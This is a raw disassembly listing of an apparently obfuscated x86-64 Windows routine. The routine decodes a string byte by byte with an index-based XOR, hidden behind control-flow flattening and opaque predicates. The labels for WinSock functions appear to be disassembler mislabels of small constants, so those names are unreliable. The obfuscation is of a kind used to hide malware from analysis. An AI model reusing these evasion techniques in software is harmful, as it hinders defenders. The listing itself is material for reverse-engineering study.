mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x190], select
mov esi, 0xa3b0714
nop word cs:[rax + rax]
cmp esi, 0xd1ef75a6
je 0x140020672
cmp esi, 0xa3b0714
jne 0x140020640
mov rsi, qword [rbp + 0x190]
add esi, 0xb
mov rbx, qword [rbp + 0x1e8]
mov edi, esi
xor edi, esi
not edi
and edi, ebx
xor edi, esi
mov esi, 0xd1ef75a6
jmp 0x140020640
mov byte [rbp + 0x1d8], dil
movzx ebx, byte [rbp + 0x1d8]
mov byte [r8 + 1], bl
movsx rsi, byte [rax + 0xd]
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x190], reloc.WS2_32.dll_listen
mov esi, 0xa3b0714
cmp esi, 0xd1ef75a6
je 0x1400206d2
cmp esi, 0xa3b0714
jne 0x1400206a0
mov rsi, qword [rbp + 0x190]
add esi, 0xb
mov rbx, qword [rbp + 0x1e8]
mov edi, esi
xor edi, esi
not edi
and edi, ebx
xor edi, esi
mov esi, 0xd1ef75a6
jmp 0x1400206a0
mov byte [rbp + 0x1d8], dil
movzx ebx, byte [rbp + 0x1d8]
mov byte [r8 + 2], bl
movsx rsi, byte [rax + 0xe]
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x190], reloc.WS2_32.dll_ntohl
mov esi, 0xa3b0714
cmp esi, 0xd1ef75a6
je 0x140020732
cmp esi, 0xa3b0714
jne 0x140020700
mov rsi, qword [rbp + 0x190]
add esi, 0xb
mov rbx, qword [rbp + 0x1e8]
mov edi, esi
xor edi, esi
not edi
and edi, ebx
xor edi, esi
mov esi, 0xd1ef75a6
jmp 0x140020700
mov byte [rbp + 0x1d8], dil
movzx ebx, byte [rbp + 0x1d8]
mov byte [r8 + 3], bl
movsx rsi, byte [rax + 0xf]
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x190], reloc.WS2_32.dll_ntohs
mov esi, 0xa3b0714
cmp esi, 0xd1ef75a6
je 0x140020792
cmp esi, 0xa3b0714
jne 0x140020760
mov rsi, qword [rbp + 0x190]
add esi, 0xb
mov rbx, qword [rbp + 0x1e8]
mov edi, esi
xor edi, esi
not edi
and edi, ebx
xor edi, esi
mov esi, 0xd1ef75a6
jmp 0x140020760
mov byte [rbp + 0x1d8], dil
movzx ebx, byte [rbp + 0x1d8]
mov byte [r8 + 4], bl
movsx rsi, byte [rax + 0x10]
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x190], reloc.WS2_32.dll_recv
mov esi, 0xa3b0714
cmp esi, 0xd1ef75a6
je 0x1400207f2
cmp esi, 0xa3b0714
jne 0x1400207c0
mov rsi, qword [rbp + 0x190]
add esi, 0xb
mov rbx, qword [rbp + 0x1e8]
mov edi, esi
xor edi, esi
not edi
and edi, ebx
xor edi, esi
mov esi, 0xd1ef75a6
jmp 0x1400207c0
mov byte [rbp + 0x1d8], dil
movzx ebx, byte [rbp + 0x1d8]
mov byte [r8 + 5], bl
movsx rsi, byte [rax + 0x11]
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x190], reloc.WS2_32.dll_recvfrom
mov esi, 0xa3b0714
cmp esi, 0xd1ef75a6
je 0x140020852
cmp esi, 0xa3b0714
jne 0x140020820
mov rsi, qword [rbp + 0x190]
add esi, 0xb
mov rbx, qword [rbp + 0x1e8]
mov edi, esi
xor edi, esi
not edi
and edi, ebx
xor edi, esi
mov esi, 0xd1ef75a6
jmp 0x140020820
mov byte [rbp + 0x1d8], dil
movzx ebx, byte [rbp + 0x1d8]
mov byte [r8 + 6], bl
movsx rsi, byte [rax + 0x12]
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x190], reloc.WS2_32.dll_select
mov esi, 0xa3b0714
cmp esi, 0xd1ef75a6
je 0x1400208b2
cmp esi, 0xa3b0714
jne 0x140020880
mov rsi, qword [rbp + 0x190]
add esi, 0xb
mov rbx, qword [rbp + 0x1e8]
mov edi, esi
xor edi, esi
not edi
and edi, ebx
xor edi, esi
mov esi, 0xd1ef75a6
jmp 0x140020880
mov byte [rbp + 0x1d8], dil
movzx ebx, byte [rbp + 0x1d8]
mov byte [r8 + 7], bl
movsx rsi, byte [rax + 0x13]
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x190], reloc.WS2_32.dll_send
mov esi, 0xa3b0714
cmp esi, 0xd1ef75a6
je 0x140020912
cmp esi, 0xa3b0714
jne 0x1400208e0
mov rsi, qword [rbp + 0x190]
add esi, 0xb
mov rbx, qword [rbp + 0x1e8]
mov edi, esi
xor edi, esi
not edi
and edi, ebx
xor edi, esi
mov esi, 0xd1ef75a6
jmp 0x1400208e0
mov byte [rbp + 0x1d8], dil
movzx ebx, byte [rbp + 0x1d8]
mov byte [r8 + 8], bl
movsx rsi, byte [rax + 0x14]
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x190], reloc.WS2_32.dll_sendto
mov esi, 0xa3b0714
cmp esi, 0xd1ef75a6
je 0x140020972
cmp esi, 0xa3b0714
jne 0x140020940
mov rsi, qword [rbp + 0x190]
add esi, 0xb
mov rbx, qword [rbp + 0x1e8]
mov edi, esi
xor edi, esi
not edi
and edi, ebx
xor edi, esi
mov esi, 0xd1ef75a6
jmp 0x140020940
mov byte [rbp + 0x1d8], dil
movzx ebx, byte [rbp + 0x1d8]
mov byte [r8 + 9], bl
movsx rsi, byte [rax + 0x15]
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x190], reloc.WS2_32.dll_setsockopt
mov esi, 0xa3b0714
cmp esi, 0xd1ef75a6
je 0x1400209d2
cmp esi, 0xa3b0714
jne 0x1400209a0
mov rsi, qword [rbp + 0x190]
add esi, 0xb
mov rbx, qword [rbp + 0x1e8]
mov edi, esi
xor edi, esi
not edi
and edi, ebx
xor edi, esi
mov esi, 0xd1ef75a6
jmp 0x1400209a0
mov byte [rbp + 0x1d8], dil
movzx ebx, byte [rbp + 0x1d8]
mov byte [r8 + 0xa], bl
movsx rsi, byte [rax + 0x16]
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x190], reloc.WLDAP32.dll_Ordinal_22
mov esi, 0xa3b0714
cmp esi, 0xd1ef75a6
je 0x140020a32
cmp esi, 0xa3b0714
jne 0x140020a00
mov rsi, qword [rbp + 0x190]
add esi, 0xb
mov rbx, qword [rbp + 0x1e8]
mov edi, esi
xor edi, esi
not edi
and edi, ebx
xor edi, esi
mov esi, 0xd1ef75a6
jmp 0x140020a00
mov byte [rbp + 0x1d8], dil
movzx ebx, byte [rbp + 0x1d8]
mov byte [r8 + 0xb], bl
movsx rsi, byte [rax + 0x17]
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x190], reloc.WS2_32.dll_socket
mov esi, 0xa3b0714
cmp esi, 0xd1ef75a6
je 0x140020a92
cmp esi, 0xa3b0714
jne 0x140020a60
mov rsi, qword [rbp + 0x190]
add esi, 0xb
mov rbx, qword [rbp + 0x1e8]
mov edi, esi
xor edi, esi
not edi
and edi, ebx
xor edi, esi
mov esi, 0xd1ef75a6
jmp 0x140020a60
mov byte [rbp + 0x1d8], dil
movzx ebx, byte [rbp + 0x1d8]
mov byte [r8 + 0xc], bl
mov byte [r8 + 0xd], 0
mov r8, qword [rbp + 0x170]
mov byte [r8 + 0x19], 1
mov r8d, 0x23c4f722
jmp 0x14001fe90
mov r8d, dword [0x1402b5d30]
lea esi, [r8 + 1]
imul esi, r8d
mov r8d, esi
xor r8d, 0xfffffffe
test r8d, esi
sete bl
mov r8d, 0xe387e907
cmove r8d, ecx
cmp dword [0x1402b5d34], 0xa
cmovge r8d, edx
setl sil
xor sil, bl
cmovne r8d, ecx
jmp 0x14001fe90
mov rax, qword [rbp + 0x170]
mov eax, 0x49aab3f8
jmp 0x14001f9d0
mov byte [rbp + 0x200], dil
movzx ebx, byte [rbp + 0x200]
mov byte [r8], bl
movsx rsi, byte [rax + 1]
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x190], 1
mov esi, 0xa3b0714
nop
cmp esi, 0xd1ef75a6
je 0x140020b72
cmp esi, 0xa3b0714
jne 0x140020b40
mov rsi, qword [rbp + 0x190]
add esi, 0xb
mov rbx, qword [rbp + 0x1e8]
mov edi, esi
xor edi, esi
not edi
and edi, ebx
xor edi, esi
mov esi, 0xd1ef75a6
jmp 0x140020b40
mov byte [rbp + 0x200], dil
movzx ebx, byte [rbp + 0x200]
mov byte [r8 + 1], bl
movsx rsi, byte [rax + 2]
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x190], 2
mov esi, 0xa3b0714
cmp esi, 0xd1ef75a6
je 0x140020bca
cmp esi, 0xa3b0714
jne 0x140020ba0
mov rsi, qword [rbp + 0x190]
add esi, 0xb
mov rdi, qword [rbp + 0x1e8]
xor edi, esi
mov esi, 0xd1ef75a6
jmp 0x140020ba0
mov byte [rbp + 0x200], dil
movzx ebx, byte [rbp + 0x200]
mov byte [r8 + 2], bl
movsx rsi, byte [rax + 3]
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x190], 3
mov esi, 0xa3b0714
nop dword [rax + rax]
cmp esi, 0xd1ef75a6
je 0x140020c2a
cmp esi, 0xa3b0714
jne 0x140020c00
mov rsi, qword [rbp + 0x190]
add esi, 0xb
mov rdi, qword [rbp + 0x1e8]
xor edi, esi
mov esi, 0xd1ef75a6
jmp 0x140020c00
mov byte [rbp + 0x200], dil
movzx ebx, byte [rbp + 0x200]
mov byte [r8 + 3], bl
movsx rsi, byte [rax + 4]
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x190], 4
mov esi, 0xa3b0714
nop dword [rax + rax]
cmp esi, 0xd1ef75a6
je 0x140020c8a
cmp esi, 0xa3b0714
jne 0x140020c60
mov rsi, qword [rbp + 0x190]
add esi, 0xb
mov rdi, qword [rbp + 0x1e8]
xor edi, esi
mov esi, 0xd1ef75a6
jmp 0x140020c60
mov byte [rbp + 0x200], dil
movzx ebx, byte [rbp + 0x200]
mov byte [r8 + 4], bl
movsx rsi, byte [rax + 5]
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x190], 5
mov esi, 0xa3b0714
nop dword [rax + rax]
cmp esi, 0xd1ef75a6
je 0x140020cea
cmp esi, 0xa3b0714
jne 0x140020cc0
mov rsi, qword [rbp + 0x190]
add esi, 0xb
mov rdi, qword [rbp + 0x1e8]
xor edi, esi
mov esi, 0xd1ef75a6
jmp 0x140020cc0
mov byte [rbp + 0x200], dil
movzx ebx, byte [rbp + 0x200]
mov byte [r8 + 5], bl
movsx rsi, byte [rax + 6]
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x190], 6
mov esi, 0xa3b0714
nop dword [rax + rax]
cmp esi, 0xd1ef75a6
je 0x140020d4a
cmp esi, 0xa3b0714
jne 0x140020d20
mov rsi, qword [rbp + 0x190]
add esi, 0xb
mov rdi, qword [rbp + 0x1e8]
xor edi, esi
mov esi, 0xd1ef75a6
jmp 0x140020d20
mov byte [rbp + 0x200], dil
movzx ebx, byte [rbp + 0x200]
mov byte [r8 + 6], bl
add r8, 7
mov qword [rbp + 0x178], r8
lea r8, [rax + 7]
mov qword [rbp + 0x180], r8
mov r8d, 0x42206ffc
jmp 0x140020df0
mov byte [rbp + 0x1d8], dil
movzx ebx, byte [rbp + 0x1d8]
mov byte [r8 + 0xc], bl
mov byte [r8 + 0xd], 0
mov r8, qword [rbp + 0x170]
mov byte [r8 + 0x19], 1
mov r8d, dword [0x1402b5d30]
mov esi, dword [0x1402b5d34]
lea edi, [r8 + 1]
imul edi, r8d
not edi
or edi, 0xfffffffe
cmp edi, 0xffffffff
sete r8b
cmp esi, 0xa
setl bl
xor bl, r8b
mov ebx, 0xe387e907
cmovne ebx, r13d
cmp edi, 0xffffffff
mov r8d, ebx
cmove r8d, r13d
cmp esi, 0xa
cmovge r8d, ebx
nop word cs:[rax + rax]
cmp r8d, 0x23c4f721
jle 0x140020e70
cmp r8d, 0x23c4f722
je 0x140020eeb
cmp r8d, 0x25091560
je 0x1400219e8
cmp r8d, 0x42206ffc
jne 0x140020df0
mov r8, qword [rbp + 0x180]
movsx r8, byte [r8]
mov qword [rbp + 0x1e8], r8
mov qword [rbp + 0x190], 7
mov esi, 0xa3b0714
nop
cmp esi, 0xd1ef75a6
je 0x1400213ce
cmp esi, 0xa3b0714
jne 0x140020e40
mov rsi, qword [rbp + 0x190]
add esi, 0xb
mov r8, qword [rbp + 0x1e8]
xor r8d, esi
mov esi, 0xd1ef75a6
jmp 0x140020e40
cmp r8d, 0xde88099a
je 0x140021a29
cmp r8d, 0xe387e907
jne 0x140020df0
mov r8, qword [rbp + 0x200]
movsx r8, byte [r8 + 0xb]
mov qword [rbp + 0x1e8], r8
mov qword [rbp + 0x190], select
mov esi, 0xa3b0714
nop dword [rax]
cmp esi, 0xd1ef75a6
je 0x140021531
cmp esi, 0xa3b0714
jne 0x140020eb0
mov rsi, qword [rbp + 0x190]
add esi, 0xb
mov rdi, qword [rbp + 0x1e8]
mov r8d, esi
xor r8d, esi
not r8d
and r8d, edi
xor r8d, esi
mov esi, 0xd1ef75a6
jmp 0x140020eb0
mov r8, qword [rbp + 0x200]
movsx r8, byte [r8 + 0xb]
mov qword [rbp + 0x1e8], r8
mov qword [rbp + 0x190], select
mov esi, 0xa3b0714
nop
cmp esi, 0xd1ef75a6
je 0x140020f3b
cmp esi, 0xa3b0714
jne 0x140020f10
mov rsi, qword [rbp + 0x190]
add esi, 0xb
mov r8, qword [rbp + 0x1e8]
xor r8d, esi
mov esi, 0xd1ef75a6
jmp 0x140020f10
mov byte [rbp + 0x1d8], r8b
movzx r8d, byte [rbp + 0x1d8]
mov rsi, qword [rbp + 0x1d0]
mov byte [rsi], r8b
mov r8, qword [rbp + 0x1d0]
movsx rsi, byte [rax + 0xc]
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x190], select
mov esi, 0xa3b0714
nop word [rax + rax]
cmp esi, 0xd1ef75a6
je 0x140020fb2
cmp esi, 0xa3b0714
jne 0x140020f80
mov rsi, qword [rbp + 0x190]
add esi, 0xb
mov rbx, qword [rbp + 0x1e8]
mov edi, esi
xor edi, esi
not edi
and edi, ebx
xor edi, esi
mov esi, 0xd1ef75a6
jmp 0x140020f80
mov byte [rbp + 0x1d8], dil
movzx ebx, byte [rbp + 0x1d8]
mov byte [r8 + 1], bl
movsx rsi, byte [rax + 0xd]
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x190], reloc.WS2_32.dll_listen
mov esi, 0xa3b0714
cmp esi, 0xd1ef75a6
je 0x140021012
cmp esi, 0xa3b0714
jne 0x140020fe0
mov rsi, qword [rbp + 0x190]
add esi, 0xb
mov rbx, qword [rbp + 0x1e8]
mov edi, esi
xor edi, esi
not edi
and edi, ebx
xor edi, esi
mov esi, 0xd1ef75a6
jmp 0x140020fe0
mov byte [rbp + 0x1d8], dil
movzx ebx, byte [rbp + 0x1d8]
mov byte [r8 + 2], bl
movsx rsi, byte [rax + 0xe]
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x190], reloc.WS2_32.dll_ntohl
mov esi, 0xa3b0714
cmp esi, 0xd1ef75a6
je 0x14002106a
cmp esi, 0xa3b0714
jne 0x140021040
mov rsi, qword [rbp + 0x190]
add esi, 0xb
mov rdi, qword [rbp + 0x1e8]
xor edi, esi
mov esi, 0xd1ef75a6
jmp 0x140021040
mov byte [rbp + 0x1d8], dil
movzx ebx, byte [rbp + 0x1d8]
mov byte [r8 + 3], bl
movsx rsi, byte [rax + 0xf]
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x190], reloc.WS2_32.dll_ntohs
mov esi, 0xa3b0714
nop dword [rax + rax]
cmp esi, 0xd1ef75a6
je 0x1400210ca
cmp esi, 0xa3b0714
jne 0x1400210a0
mov rsi, qword [rbp + 0x190]
add esi, 0xb
mov rdi, qword [rbp + 0x1e8]
xor edi, esi
mov esi, 0xd1ef75a6
jmp 0x1400210a0
mov byte [rbp + 0x1d8], dil
movzx ebx, byte [rbp + 0x1d8]
mov byte [r8 + 4], bl
movsx rsi, byte [rax + 0x10]
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x190], reloc.WS2_32.dll_recv
mov esi, 0xa3b0714
nop dword [rax + rax]
cmp esi, 0xd1ef75a6
je 0x140021132
cmp esi, 0xa3b0714
jne 0x140021100
mov rsi, qword [rbp + 0x190]
add esi, 0xb
mov rbx, qword [rbp + 0x1e8]
mov edi, esi
xor edi, esi
not edi
and edi, ebx
xor edi, esi
mov esi, 0xd1ef75a6
jmp 0x140021100
mov byte [rbp + 0x1d8], dil
movzx ebx, byte [rbp + 0x1d8]
mov byte [r8 + 5], bl
movsx rsi, byte [rax + 0x11]
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x190], reloc.WS2_32.dll_recvfrom
mov esi, 0xa3b0714
cmp esi, 0xd1ef75a6
je 0x140021192
cmp esi, 0xa3b0714
jne 0x140021160
mov rsi, qword [rbp + 0x190]
add esi, 0xb
mov rbx, qword [rbp + 0x1e8]
mov edi, esi
xor edi, esi
not edi
and edi, ebx
xor edi, esi
mov esi, 0xd1ef75a6
jmp 0x140021160
mov byte [rbp + 0x1d8], dil
movzx ebx, byte [rbp + 0x1d8]
mov byte [r8 + 6], bl
movsx rsi, byte [rax + 0x12]
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x190], reloc.WS2_32.dll_select
mov esi, 0xa3b0714
cmp esi, 0xd1ef75a6
je 0x1400211f2
cmp esi, 0xa3b0714
jne 0x1400211c0
mov rsi, qword [rbp + 0x190]
add esi, 0xb
mov rbx, qword [rbp + 0x1e8]
mov edi, esi
xor edi, esi
not edi
and edi, ebx
xor edi, esi
mov esi, 0xd1ef75a6
jmp 0x1400211c0
mov byte [rbp + 0x1d8], dil
movzx ebx, byte [rbp + 0x1d8]
mov byte [r8 + 7], bl
movsx rsi, byte [rax + 0x13]
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x190], reloc.WS2_32.dll_send
mov esi, 0xa3b0714
cmp esi, 0xd1ef75a6
je 0x14002124a
cmp esi, 0xa3b0714
jne 0x140021220
mov rsi, qword [rbp + 0x190]
add esi, 0xb
mov rdi, qword [rbp + 0x1e8]
xor edi, esi
mov esi, 0xd1ef75a6
jmp 0x140021220
mov byte [rbp + 0x1d8], dil
movzx ebx, byte [rbp + 0x1d8]
mov byte [r8 + 8], bl
movsx rsi, byte [rax + 0x14]
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x190], reloc.WS2_32.dll_sendto
mov esi, 0xa3b0714
nop dword [rax + rax]
cmp esi, 0xd1ef75a6
je 0x1400212aa
cmp esi, 0xa3b0714
jne 0x140021280
mov rsi, qword [rbp + 0x190]
add esi, 0xb
mov rdi, qword [rbp + 0x1e8]
xor edi, esi
mov esi, 0xd1ef75a6
jmp 0x140021280
mov byte [rbp + 0x1d8], dil
movzx ebx, byte [rbp + 0x1d8]
mov byte [r8 + 9], bl
movsx rsi, byte [rax + 0x15]
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x190], reloc.WS2_32.dll_setsockopt
mov esi, 0xa3b0714
nop dword [rax + rax]
cmp esi, 0xd1ef75a6
je 0x140021312
cmp esi, 0xa3b0714
jne 0x1400212e0
mov rsi, qword [rbp + 0x190]
add esi, 0xb
mov rbx, qword [rbp + 0x1e8]
mov edi, esi
xor edi, esi
not edi
and edi, ebx
xor edi, esi
mov esi, 0xd1ef75a6
jmp 0x1400212e0
mov byte [rbp + 0x1d8], dil
movzx ebx, byte [rbp + 0x1d8]
mov byte [r8 + 0xa], bl
movsx rsi, byte [rax + 0x16]
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x190], reloc.WLDAP32.dll_Ordinal_22
mov esi, 0xa3b0714
cmp esi, 0xd1ef75a6
je 0x14002136a
cmp esi, 0xa3b0714
jne 0x140021340
mov rsi, qword [rbp + 0x190]
add esi, 0xb
mov rdi, qword [rbp + 0x1e8]
xor edi, esi
mov esi, 0xd1ef75a6
jmp 0x140021340
mov byte [rbp + 0x1d8], dil
movzx ebx, byte [rbp + 0x1d8]
mov byte [r8 + 0xb], bl
movsx rsi, byte [rax + 0x17]
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x190], reloc.WS2_32.dll_socket
mov esi, 0xa3b0714
nop dword [rax + rax]
cmp esi, 0xd1ef75a6
je 0x140020d7a
cmp esi, 0xa3b0714
jne 0x1400213a0
mov rsi, qword [rbp + 0x190]
add esi, 0xb
mov rdi, qword [rbp + 0x1e8]
xor edi, esi
mov esi, 0xd1ef75a6
jmp 0x1400213a0
mov byte [rbp + 0x1d8], r8b
movzx r8d, byte [rbp + 0x1d8]
mov rsi, qword [rbp + 0x178]
mov byte [rsi], r8b
mov r8, qword [rbp + 0x178]
movsx rsi, byte [rax + 8]
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x190], 8
mov esi, 0xa3b0714
nop word [rax + rax]
cmp esi, 0xd1ef75a6
je 0x14002143a
cmp esi, 0xa3b0714
jne 0x140021410
mov rsi, qword [rbp + 0x190]
add esi, 0xb
mov rdi, qword [rbp + 0x1e8]
xor edi, esi
mov esi, 0xd1ef75a6
jmp 0x140021410
mov byte [rbp + 0x1d8], dil
movzx ebx, byte [rbp + 0x1d8]
mov byte [r8 + 1], bl
movsx rsi, byte [rax + 9]
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x190], 9
mov esi, 0xa3b0714
nop dword [rax + rax]
cmp esi, 0xd1ef75a6
je 0x14002149a
cmp esi, 0xa3b0714
jne 0x140021470
mov rsi, qword [rbp + 0x190]
add esi, 0xb
mov rdi, qword [rbp + 0x1e8]
xor edi, esi
mov esi, 0xd1ef75a6
jmp 0x140021470
mov byte [rbp + 0x1d8], dil
movzx ebx, byte [rbp + 0x1d8]
mov byte [r8 + 2], bl
movsx rsi, byte [rax + 0xa]
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x190], 0xa
mov esi, 0xa3b0714
nop dword [rax + rax]
cmp esi, 0xd1ef75a6
je 0x140021502
cmp esi, 0xa3b0714
jne 0x1400214d0
mov rsi, qword [rbp + 0x190]
add esi, 0xb
mov rbx, qword [rbp + 0x1e8]
mov edi, esi
xor edi, esi
not edi
and edi, ebx
xor edi, esi
mov esi, 0xd1ef75a6
jmp 0x1400214d0
mov byte [rbp + 0x1d8], dil
movzx ebx, byte [rbp + 0x1d8]
mov byte [r8 + 3], bl
add r8, 4
mov qword [rbp + 0x1d0], r8
mov qword [rbp + 0x200], rax
mov r8d, 0x25091560
jmp 0x140020df0
mov byte [rbp + 0x1d8], r8b
movzx r8d, byte [rbp + 0x1d8]
mov rsi, qword [rbp + 0x1d0]
mov byte [rsi], r8b
mov r8, qword [rbp + 0x1d0]
movsx rsi, byte [rax + 0xc]
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x190], select
mov esi, 0xa3b0714
nop dword [rax]
cmp esi, 0xd1ef75a6
je 0x1400215a2
cmp esi, 0xa3b0714
jne 0x140021570
mov rsi, qword [rbp + 0x190]
add esi, 0xb
mov rbx, qword [rbp + 0x1e8]
mov edi, esi
xor edi, esi
not edi
and edi, ebx
xor edi, esi
mov esi, 0xd1ef75a6
jmp 0x140021570
mov byte [rbp + 0x1d8], dil
movzx ebx, byte [rbp + 0x1d8]
mov byte [r8 + 1], bl
movsx rsi, byte [rax + 0xd]
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x190], reloc.WS2_32.dll_listen
mov esi, 0xa3b0714
cmp esi, 0xd1ef75a6
je 0x140021602
cmp esi, 0xa3b0714
jne 0x1400215d0
mov rsi, qword [rbp + 0x190]
add esi, 0xb
mov rbx, qword [rbp + 0x1e8]
mov edi, esi
xor edi, esi
not edi
and edi, ebx
xor edi, esi
mov esi, 0xd1ef75a6
jmp 0x1400215d0
mov byte [rbp + 0x1d8], dil
movzx ebx, byte [rbp + 0x1d8]
mov byte [r8 + 2], bl
movsx rsi, byte [rax + 0xe]
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x190], reloc.WS2_32.dll_ntohl
mov esi, 0xa3b0714
cmp esi, 0xd1ef75a6
je 0x14002165a
cmp esi, 0xa3b0714
jne 0x140021630
mov rsi, qword [rbp + 0x190]
add esi, 0xb
mov rdi, qword [rbp + 0x1e8]
xor edi, esi
mov esi, 0xd1ef75a6
jmp 0x140021630
mov byte [rbp + 0x1d8], dil
movzx ebx, byte [rbp + 0x1d8]
mov byte [r8 + 3], bl
movsx rsi, byte [rax + 0xf]
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x190], reloc.WS2_32.dll_ntohs
mov esi, 0xa3b0714
nop dword [rax + rax]
cmp esi, 0xd1ef75a6
je 0x1400216c2
cmp esi, 0xa3b0714
jne 0x140021690
mov rsi, qword [rbp + 0x190]
add esi, 0xb
mov rbx, qword [rbp + 0x1e8]
mov edi, esi
xor edi, esi
not edi
and edi, ebx
xor edi, esi
mov esi, 0xd1ef75a6
jmp 0x140021690
mov byte [rbp + 0x1d8], dil
movzx ebx, byte [rbp + 0x1d8]
mov byte [r8 + 4], bl
movsx rsi, byte [rax + 0x10]
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x190], reloc.WS2_32.dll_recv
mov esi, 0xa3b0714
cmp esi, 0xd1ef75a6
je 0x140021722
cmp esi, 0xa3b0714
jne 0x1400216f0
mov rsi, qword [rbp + 0x190]
add esi, 0xb
mov rbx, qword [rbp + 0x1e8]
mov edi, esi
xor edi, esi
not edi
and edi, ebx
xor edi, esi
mov esi, 0xd1ef75a6
jmp 0x1400216f0
mov byte [rbp + 0x1d8], dil
movzx ebx, byte [rbp + 0x1d8]
mov byte [r8 + 5], bl
movsx rsi, byte [rax + 0x11]
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x190], reloc.WS2_32.dll_recvfrom
mov esi, 0xa3b0714
cmp esi, 0xd1ef75a6
je 0x140021782
cmp esi, 0xa3b0714
jne 0x140021750
mov rsi, qword [rbp + 0x190]
add esi, 0xb
mov rbx, qword [rbp + 0x1e8]
mov edi, esi
xor edi, esi
not edi
and edi, ebx
xor edi, esi
mov esi, 0xd1ef75a6
jmp 0x140021750
mov byte [rbp + 0x1d8], dil
movzx ebx, byte [rbp + 0x1d8]
mov byte [r8 + 6], bl
movsx rsi, byte [rax + 0x12]
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x190], reloc.WS2_32.dll_select
mov esi, 0xa3b0714
cmp esi, 0xd1ef75a6
je 0x1400217e2
cmp esi, 0xa3b0714
jne 0x1400217b0
mov rsi, qword [rbp + 0x190]
add esi, 0xb
mov rbx, qword [rbp + 0x1e8]
mov edi, esi
xor edi, esi
not edi
and edi, ebx
xor edi, esi
mov esi, 0xd1ef75a6
jmp 0x1400217b0
mov byte [rbp + 0x1d8], dil
movzx ebx, byte [rbp + 0x1d8]
mov byte [r8 + 7], bl
movsx rsi, byte [rax + 0x13]
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x190], reloc.WS2_32.dll_send
mov esi, 0xa3b0714
cmp esi, 0xd1ef75a6
je 0x140021842
cmp esi, 0xa3b0714
jne 0x140021810
mov rsi, qword [rbp + 0x190]
add esi, 0xb
mov rbx, qword [rbp + 0x1e8]
mov edi, esi
xor edi, esi
not edi
and edi, ebx
xor edi, esi
mov esi, 0xd1ef75a6
jmp 0x140021810
mov byte [rbp + 0x1d8], dil
movzx ebx, byte [rbp + 0x1d8]
mov byte [r8 + 8], bl
movsx rsi, byte [rax + 0x14]
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x190], reloc.WS2_32.dll_sendto
mov esi, 0xa3b0714
cmp esi, 0xd1ef75a6
je 0x14002189a
cmp esi, 0xa3b0714
jne 0x140021870
mov rsi, qword [rbp + 0x190]
add esi, 0xb
mov rdi, qword [rbp + 0x1e8]
xor edi, esi
mov esi, 0xd1ef75a6
jmp 0x140021870
mov byte [rbp + 0x1d8], dil
movzx ebx, byte [rbp + 0x1d8]
mov byte [r8 + 9], bl
movsx rsi, byte [rax + 0x15]
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x190], reloc.WS2_32.dll_setsockopt
mov esi, 0xa3b0714
nop dword [rax + rax]
cmp esi, 0xd1ef75a6
je 0x1400218fa
cmp esi, 0xa3b0714
jne 0x1400218d0
mov rsi, qword [rbp + 0x190]
add esi, 0xb
mov rdi, qword [rbp + 0x1e8]
xor edi, esi
mov esi, 0xd1ef75a6
jmp 0x1400218d0
mov byte [rbp + 0x1d8], dil
movzx ebx, byte [rbp + 0x1d8]
mov byte [r8 + 0xa], bl
movsx rsi, byte [rax + 0x16]
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x190], reloc.WLDAP32.dll_Ordinal_22
mov esi, 0xa3b0714
nop dword [rax + rax]
cmp esi, 0xd1ef75a6
je 0x140021962
cmp esi, 0xa3b0714
jne 0x140021930
mov rsi, qword [rbp + 0x190]
add esi, 0xb
mov rbx, qword [rbp + 0x1e8]
mov edi, esi
xor edi, esi
not edi
and edi, ebx
xor edi, esi
mov esi, 0xd1ef75a6
jmp 0x140021930
mov byte [rbp + 0x1d8], dil
movzx ebx, byte [rbp + 0x1d8]
mov byte [r8 + 0xb], bl
movsx rsi, byte [rax + 0x17]
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x190], reloc.WS2_32.dll_socket
mov esi, 0xa3b0714
cmp esi, 0xd1ef75a6
je 0x1400219ba
cmp esi, 0xa3b0714
jne 0x140021990
mov rsi, qword [rbp + 0x190]
add esi, 0xb
mov rdi, qword [rbp + 0x1e8]
xor edi, esi
